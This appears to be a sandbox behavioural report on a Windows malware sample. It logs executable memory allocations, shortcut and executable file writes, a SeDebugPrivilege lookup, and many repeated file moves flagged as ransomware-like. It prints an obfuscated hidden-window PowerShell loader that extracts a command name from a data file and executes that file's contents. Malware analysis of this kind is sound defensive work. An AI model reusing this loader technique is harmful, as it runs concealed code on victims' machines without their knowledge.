NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05040000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05041000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05042000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\Windows\brandbombernes.lnk

Creates a shortcut to an executable file (3 events)

file	C:\Users\test22\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Playlet\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
file	C:\Windows\brandbombernes.lnk
file	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell (x86).lnk

Creates a suspicious process (1 event)

cmdline

"powershell.exe" -windowstyle hidden "$krjning=Get-Content -Raw 'C:\Users\test22\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString(5322,3);.$Lukewarmly95($krjning)"

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW Oct. 1, 2024, 4:37 p.m.	thread_identifier: 2704 thread_handle: 0x0000024c process_identifier: 2700 current_directory: filepath: track: 1 command_line: "powershell.exe" -windowstyle hidden "$krjning=Get-Content -Raw 'C:\Users\test22\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString(5322,3);.$Lukewarmly95($krjning)" filepath_r: stack_pivoted: 0 creation_flags: 67108864 (CREATE_DEFAULT_ERROR_MODE) inherit_handles: 0 process_handle: 0x00000258	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Oct. 1, 2024, 4:37 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Creates a suspicious Powershell process (1 event)

option

-windowstyle hidden

value

Attempts to execute command with a hidden window

The process powershell.exe wrote an executable file to disk (20 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

Performs 136 file moves indicative of a ransomware file encryption process (50 out of 136 events)

Time & API	Arguments	Status	Return	Repeated
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0

Appends a new file extension or content to 136 files indicative of a ransomware file encryption process (50 out of 136 events)

Time & API	Arguments	Status	Return	Repeated
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
